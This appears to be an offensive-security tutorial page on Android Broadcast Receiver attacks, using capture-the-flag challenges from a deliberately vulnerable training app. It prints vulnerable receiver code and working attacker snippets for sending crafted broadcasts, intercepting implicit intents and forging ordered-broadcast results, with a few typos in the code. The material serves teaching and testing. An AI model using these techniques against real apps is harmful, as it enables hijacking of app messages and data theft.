offsecnotes

Broadcast Receivers

by frankheat

Note: this section requires a full understanding of Intent attack surface.

Introduction

A Broadcast Receiver is a core component that allows your app to listen for system-wide broadcast announcements (called broadcast intents) or broadcasts sent by other applications or even your own application.

Apps can register to receive specific broadcasts. When a broadcast is sent, the system automatically routes broadcasts to apps that have subscribed to receive that particular type of broadcast.

Basically, broadcasts can be used as a messaging system across apps and outside of the normal user flow.

Broadcast Receivers don’t display a user interface. Instead, they respond to broadcasted events by performing some logic. For example: starting a service, showing a notification, logging data, etc.

Declaring a broadcast receiver

You can register a receiver in two ways:

  1. Static Registration (Manifest)
<receiver android:name=".MyBootReceiver"
          android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.BOOT_COMPLETED" />
    </intent-filter>
</receiver>

The class MyBootReceiver extends BroadcastReceiver and it overrides the onReceive (Context context, Intent intent) method.

From the attacker perspective this is interesting because the incoming intent is potentially controlled by an attacker.

  1. Dynamic Registration (Runtime)

Registered at runtime by using registerReceiver() and this works only while the app is running.

val receiver = MyReceiver()
val filter = IntentFilter(Intent.ACTION_BATTERY_LOW)
registerReceiver(receiver, filter)

In this case, if the system sends this broadcast intent, then the class receiver is used as the receiver and it’ll execute the code in the onReceive() method.

Send broadcasts

Android provides two ways for apps to send broadcasts []:

Broadcast limitations

From Android 8 (API level 26) the delivery of implicit broadcasts to apps is restricted. This is because the system generally wants to avoid broadcast receivers that could be called when the app is not even running. So you have to specify the target. As with any general rule, there are exceptions to this behavior. In fact, several broadcasts are exempt from these limitations.


Sending broadcast from malicious app

Let’s say that the app io.hextree.attacksurface has the following BroadcastReceiver:

<receiver
    android:name="io.hextree.attacksurface.receivers.Flag16Receiver"
    android:enabled="true"
    android:exported="true"/>
public class Flag16Receiver extends BroadcastReceiver {
    public static String FlagSecret = "give-flag-16";

    @Override
    public void onReceive(Context context, Intent intent) {
        Log.i("Flag16Receiver.onReceive", Utils.dumpIntent(context, intent));
        if (intent.getStringExtra("flag").equals(FlagSecret)) {
            success(context, FlagSecret);
        }
    }

    private void success(Context context, String str) {...}
}

You can just send a broadcast as follow:

Intent intent = new Intent();
intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.receivers.Flag16Receiver");
intent.putExtra("flag", "give-flag-16");
sendBroadcast(intent);

Vulnerabilities

Broadcast redirect

A broadcast redirect occurs when an insecure activity takes an incoming intent, performs some actions/modifications, and then sends the intent via sendBroadcast(). This allows an attacker to control the broadcast intent. For example, this could target internal, non-exported broadcast receivers.

public class ExposedActivity extends AppCompatActivity {

    @override
    protected void onCreate (...) {
        ...
        Intent intent = getIntent();
        intent.setClassName("com.example.myapp", "com.example.myapp.InternalReceiver");
        sendBroadcast(intent); // This intent could be controlled by the attacker
    }
}

For more information, refer to Intent attack surface - Intent redirect.

Intercept implicit intents

This is when the an app sends an implicit intent broadcast so a malicious app can register a receiver to be a valid target for the implicit intent.

  1. Identify an app that sends implicit broadcast, e.g. application.Context.sendBroadcast(new Intent(SPAReceiver.ACTION_SP_APPS_QUERY_FEEDS)).
  2. Use the dynamic registered receivers in your activity. This means the app must be already running.
BoradcastReceiver receiver = new hijackReceiver();
registerReceiver(receiver, new IntentFilter("com.example.app.intent.SP_APPS_QUERY_FEEDS"))

Note: if you create a new receiver in your app and expose this in the AndroidManifest.xml, it probably will not receive an implicit broadcast due to the battery impact of background tasks that we are talked about before.

Example

Let’s say that the app io.hextree.attacksurface has the following activity:

public class Flag18Activity extends AppCompactActivity {
    public Flag18Activity() {...}

    @Override
    protected void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        Intent intent = new Intent("io.hextree.broadcast.FREE_FLAG");
        intent.putExtra("flag", this.f182f.appendLog(this.flag));
        intent.addFlags(8);
        sendOrderedBroadcast(intent, null, new BroadcastReceiver() {
            @Override
            public void onReceive(Context context, Intent intent2) {
                String resultData = getResultData();
                Bundle resultExtras = getResultExtras(false);
                int resultCode = getResultCode();
                Log.i("Flag18Activity.BroadcastReceiver", "resultData " + resultData);
                Log.i("Flag18Activity.BroadcastReceiver", "resultExtras " + resultExtras);
                Log.i("Flag18Activity.BroadcastReceiver", "resultCode " + resultCode);
                if (resultCode != 0) {
                    flag18Activity.success(flag18Activity);
                }
            }
        }, null, 0, null, null);
    }
}

To intercept this intent I have to register a receiver and send resultCode != 0:

BroadcastReceiver hijackReceiver = new BroadcastReceiver() {
    @Override
    public void onReceive(Context context, Intent intent) {
        setResultCode(RESULT_OK); // Costant value for -1
    }
};
registerReceiver(hijackReceiver, new IntentFilter("io.hextree.broadcast.FREE_FLAG"));

Control the results

Similar to activities, a broadcast can return results back to the sender with sendOrderedBroadcast(). This method takes in another BroadcastReceiver object which will handle the result returned back.

If a malicious app receives such a broadcast, they can return attacker controlled values.

BroadcastReceiver resultReceiver = new BroadcastReceiver() {
    @override
    public void onReceive(Context context, Intent intet) {
        String resultData = getResultData();
        Bundle resultExtras = gerResultExtras(false);
        int resultCode = getResultCode();
        // attacker controlled intent
    }
}

sendOrderedBroadcast(intent, null, resultReceiver, null, RESULT_CANCELED, null, null);

Example

Let’s say that the app io.hextree.attacksurface has the following BroadcastReceiver:

<receiver
    android:name="io.hextree.attacksurface.receivers.Flag17Receiver"
    android:enabled="true"
    android:exported="true"/>
public class Flag17Receiver extends BroadcastReceiver {
    public static String FlagSecret = "give-flag-17";

    @Override 
    public void onReceive(Context context, Intent intent) {
        Log.i("Flag17Receiver.onReceive", Utils.dumpIntent(context, intent));
        if (isOrderedBroadcast()) {
            if (intent.getStringExtra("flag").equals(FlagSecret)) {
                success(context, FlagSecret);
                return;
            }
            Bundle bundle = new Bundle();
            bundle.putBoolean("success", false);
            setResult(0, "Flag 17 Completed", bundle);
        }
    }

    private void success(Context context, String str) {
        Flag17Activity flag17Activity = new Flag17Activity();
        flag17Activity.f182f = new LogHelper(context);
        flag17Activity.f182f.addTag(str);
        flag17Activity.success(null, context);
        Bundle bundle = new Bundle();
        bundle.putBoolean("success", true);
        bundle.putString("flag", flag17Activity.f182f.appendLog(flag17Activity.flag));
        setResult(-1, "Flag 17 Completed", bundle);
    }
}

To intercept this intent I have to send a broadcast and analyze the results:

Intent intent = new Intent();
intent.putExtra("flag", "give-flag-17");
intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.receivers.Flag17Receiver");
sendOrderedBroadcast(intent, null, new BroadcastReceiver() {
    @Override
    public void onReceive(Context context, Intent intent) {
        Bundle result = getResultExtras(true);
        if (result != null && result.getBoolean("success")) {
            Log.d("Flag: ",result.getString("flag"));
        }

    }}
    , null, 0, null, null);